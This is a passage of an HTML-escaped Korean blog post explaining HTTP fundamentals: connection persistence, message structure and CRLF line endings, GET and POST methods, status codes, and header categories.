&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;248&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOG4DD/btsKBLpz4d3/wMklryh0oKP4Ucr7SkSA60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOG4DD/btsKBLpz4d3/wMklryh0oKP4Ucr7SkSA60/img.png&quot; data-alt=&quot;그림4 - HTTP 연결 관리 방식&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOG4DD/btsKBLpz4d3/wMklryh0oKP4Ucr7SkSA60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOG4DD%2FbtsKBLpz4d3%2FwMklryh0oKP4Ucr7SkSA60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;248&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;248&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - HTTP 연결 관리 방식&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;비 지속 연결(Non-Persistent Connection)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비 지속 연결은 초기 HTTP에서 사용하던 방식으로 HTTP/1.0까지 사용되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초기의 웹은 단순히 문서를 전달하는 방식으로 지속 연결이 필요하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 한번의 요청과 응답 과정을 거치면 바로 연결을 끊어버렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘날의 웹 문서의 경우 인터페이스를 구성하기 위해 많은 리소스가 필요한데 리소스 요청 시 마다 3-way handshake를 수행해야 하기 때문에 오늘날의 웹과 부적합한 연결 방식이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BBb4t/btsKBnI8jNv/bLcT2XCgrFlGVyyQpItzwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BBb4t/btsKBnI8jNv/bLcT2XCgrFlGVyyQpItzwk/img.png&quot; data-alt=&quot;그림5 - 비 지속 연결&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BBb4t/btsKBnI8jNv/bLcT2XCgrFlGVyyQpItzwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBBb4t%2FbtsKBnI8jNv%2FbLcT2XCgrFlGVyyQpItzwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;758&quot; height=&quot;300&quot; data-origin-width=&quot;758&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - 비 지속 연결&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;지속 연결(Persisten Connection)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹의 기술 흐름에 맞게 HTTP/1.0+에서 Keep-Alive 연결을 지원한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;헤더에 &quot;Connection: Keep-Alive&quot; 문구가 명시가 되어 있으면, 지속 연결을 사용한다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP/1.1부터는 &quot;Connection: Keep-Alive&quot; 헤더 필요 없이 기본으로 지속 연결을 하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단 한번의 3-Way Handshake 과정으로 여러 번의 요청과 응답 과정을 거치며, 비 지속 연결에 비해 시간이 확연히 단축된다는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjAr1a/btsKBjGSKcg/HKJ3ijKTc1ywrpOIvPMEK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjAr1a/btsKBjGSKcg/HKJ3ijKTc1ywrpOIvPMEK1/img.png&quot; data-alt=&quot;그림6 - 지속 연결&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjAr1a/btsKBjGSKcg/HKJ3ijKTc1ywrpOIvPMEK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjAr1a%2FbtsKBjGSKcg%2FHKJ3ijKTc1ywrpOIvPMEK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;313&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - 지속 연결&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP 메시지 - 메시지 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 메시지로 웹 브라우저가 요청할 때 보내는 메시지를 요청 메시지(Request Message)라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버가 HTTP 요청 메시지를 받고 응답할 때 보내는 메시지를 응답 메시지(Response Message)라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메시지 구조는 시작줄, 메시지 헤더, 메시지 바디로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 행은 개행 문자(\r\n)을 기준으로 분류 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;526&quot; data-origin-height=&quot;252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cx3670/btsKABVHlso/wj7CakBw5LW9qS1lXJFlH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cx3670/btsKABVHlso/wj7CakBw5LW9qS1lXJFlH0/img.png&quot; data-alt=&quot;그림7 - HTTP 메시지 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cx3670/btsKABVHlso/wj7CakBw5LW9qS1lXJFlH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcx3670%2FbtsKABVHlso%2Fwj7CakBw5LW9qS1lXJFlH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;526&quot; height=&quot;252&quot; data-origin-width=&quot;526&quot; data-origin-height=&quot;252&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - HTTP 메시지 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청 메시지 시작줄 &amp;rarr; 무엇을 요청하는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답 메시지 시작줄 &amp;rarr; 요청에 대한 결과값&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청 메시지 헤더 &amp;rarr; 요청의 상세 속성 정보(Host, Content Type, Cookie 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답 메시지 헤더 &amp;rarr; 응답의 상세 속성 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청 메시지 바디 &amp;rarr; 데이터를 실어서 전송(POST 메소드)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답 메시지 바디 &amp;rarr; 요청한 데이터를 실어서 응답&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP 메시지 - 개행 문자&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개행 문자는 텍스트의 한 줄이 끝남을 표시하는 문자 또는 문자열이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새 줄 문자 혹은 줄 바꿈 문자라고도 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS 혹은 프로토콜마다 개행 문자의 ASCII 값이 다른데 HTTP 와 같은 인터넷 프로토콜의 경우 ASCII의 CR + LF를 개행 문자로 사용하도록 규정하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CR = Carriage Return = \r (문자) = 0x0D (Hex)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;LF = Line Feed = \n (문자) = 0x0A (Hex)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 통신 상에서 이러한 개행 문자로 라인을 구분하여 데이터 식별을 하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개행 문자를 두 번 사용하여 메시지 헤더의 끝을 알린다. = \r\n\r\n = 한 줄 띄기&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1163&quot; data-origin-height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dwiHGX/btsKBLiQ9KH/On3B6L3vzD6UKLkgm8KJw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dwiHGX/btsKBLiQ9KH/On3B6L3vzD6UKLkgm8KJw0/img.png&quot; data-alt=&quot;그림8 - HTTP 메시지 개행 문자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dwiHGX/btsKBLiQ9KH/On3B6L3vzD6UKLkgm8KJw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdwiHGX%2FbtsKBLiQ9KH%2FOn3B6L3vzD6UKLkgm8KJw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1163&quot; height=&quot;360&quot; data-origin-width=&quot;1163&quot; data-origin-height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - HTTP 메시지 개행 문자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP 메시지 - 요청 메시지(Request Message)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메시지 시작줄 = 요청 라인으로 메소드, 요청 URL, 버전을 포함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메시지 헤더 = 요청의 속성, 추가 정보들을 포함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메시지 바디 = 엔티티 바디가 들어감, 메시지의 데이터가 들어가는 부분으로 데이터 전송을 목적으로 설계됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엔티티 바디는 메소드에 따라 존재 유/무가 결정된다. &amp;rarr; GET or POST&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;297&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kwNPh/btsKBQqMurw/T8PZV38PQDfRbyFJIYN6T1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kwNPh/btsKBQqMurw/T8PZV38PQDfRbyFJIYN6T1/img.png&quot; data-alt=&quot;그림9 - HTTP 요청 메시지 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kwNPh/btsKBQqMurw/T8PZV38PQDfRbyFJIYN6T1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkwNPh%2FbtsKBQqMurw%2FT8PZV38PQDfRbyFJIYN6T1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1027&quot; height=&quot;297&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;297&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - HTTP 요청 메시지 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP 메시지 - 응답 메시지(Response Message)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메시지의 시작줄 = 상태 라인으로 버전, 상태 코드, 응답 문구를 포함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메시지 헤더 = 응답의 속성, 추가 정보들이 포함&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;메시지 바디 = 엔티티 바디가 들어감,&lt;span&gt;&amp;nbsp;&lt;/span&gt;메시지의 데이터가 들어가는 부분으로 데이터 전송을 목적으로 설계됨.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;엔티티 바디는 메소드에 따라 존재 유/무가 결정된다. &amp;rarr; GET or POST&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1033&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6yBUF/btsKBc8PTyt/6ym9THhkzZ6GvqxnoKRFI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6yBUF/btsKBc8PTyt/6ym9THhkzZ6GvqxnoKRFI0/img.png&quot; data-alt=&quot;그림10 - HTTP 응답 메시지 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6yBUF/btsKBc8PTyt/6ym9THhkzZ6GvqxnoKRFI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6yBUF%2FbtsKBc8PTyt%2F6ym9THhkzZ6GvqxnoKRFI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1033&quot; height=&quot;281&quot; data-origin-width=&quot;1033&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - HTTP 응답 메시지 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP 메소드 - GET/POST 메소드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 메소드에는 여러가지가 있으나, GET/POST 메소드가 일반적으로 웹 통신 시 가장 많이 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GET/POST 메소드는 클라이언트에서 서버에 데이터를 전달할 때 사용되는 방식으로 GET/POST 메소드 별로 차이가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GET 방식: URL에 데이터를 실어서 전송한다. &amp;rarr; 자원을 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;POST 방식: 메시지 바디에 데이터를 실어서 전송한다. &amp;rarr; 서버에 데이터 전달, Action&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;POST 방식은 Content-Type 헤더가 없으면 메시지 바디값을 해석 할 수 없다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;364&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5QAAC/btsKzn5cpyW/pzZ8xHi0eEfZcb2egRIMO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5QAAC/btsKzn5cpyW/pzZ8xHi0eEfZcb2egRIMO0/img.png&quot; data-alt=&quot;그림11 - GET/POST 메소드 차이&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5QAAC/btsKzn5cpyW/pzZ8xHi0eEfZcb2egRIMO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5QAAC%2FbtsKzn5cpyW%2FpzZ8xHi0eEfZcb2egRIMO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;364&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;364&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림11 - GET/POST 메소드 차이&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP 상태코드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트가 요청을 할 경우 서버는 요청에 대한 상세 결과를 알려준다 = 상태 코드(Status Code)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상태 코드는 3자리 숫자로 구성되어 있으며, 뒤에 응답 문구가 붙는다. 응답 문구는 상태 코드에 대한 설명이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1046&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPTAUR/btsKA4C5sBp/X0FZuKsWlmIAtNuxoj7wkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPTAUR/btsKA4C5sBp/X0FZuKsWlmIAtNuxoj7wkk/img.png&quot; data-alt=&quot;그림12 - HTTP 상태 코드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPTAUR/btsKA4C5sBp/X0FZuKsWlmIAtNuxoj7wkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPTAUR%2FbtsKA4C5sBp%2FX0FZuKsWlmIAtNuxoj7wkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1046&quot; height=&quot;411&quot; data-origin-width=&quot;1046&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림12 - HTTP 상태 코드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;HTTP 상태코드 - 상태코드의 에러 페이지에 다른 웹 서버 식별&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상태 코드에 따라 출력되는 에러 페이지는 서버 별로 다르기 때문에 이를 통해 사용되는 웹 서버 혹은 WAS를 식별 할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;582&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v6Wjg/btsKA5vfFQi/u4mifTPjDZwo9eNpNwVZAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v6Wjg/btsKA5vfFQi/u4mifTPjDZwo9eNpNwVZAk/img.png&quot; data-alt=&quot;그림13 - 웹 서버 별로 다른 에러 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v6Wjg/btsKA5vfFQi/u4mifTPjDZwo9eNpNwVZAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv6Wjg%2FbtsKA5vfFQi%2Fu4mifTPjDZwo9eNpNwVZAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1064&quot; height=&quot;582&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;582&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림13 - 웹 서버 별로 다른 에러 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;HTTP 메시지 헤더&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메시지 헤더는 메시지를 구성하는 요소로 클라이언트와 서버가 무엇을 할지 결정하고 처리하기 위한 정보들이 들어있으며, 요청 메시지와 응답 메시지에는 반드시 메시지 헤더가 포함이 되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;헤더의 종류에는 크게 5가지로 분류가 되며, 확장 헤더는 HTTP 명세에는 추가되지 않은 비 표준 헤더이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP/1.1에 정의되어 있는 헤더는 총 47가지이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vli1A/btsKAeGtCc2/xY2KvRHo6xxWK8HeDxNA90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vli1A/btsKAeGtCc2/xY2KvRHo6xxWK8HeDxNA90/img.png&quot; data-alt=&quot;그림14 - 메시지 헤더 종류&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vli1A/btsKAeGtCc2/xY2KvRHo6xxWK8HeDxNA90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvli1A%2FbtsKAeGtCc2%2FxY2KvRHo6xxWK8HeDxNA90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;962&quot; height=&quot;328&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림14 - 메시지 헤더 종류&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
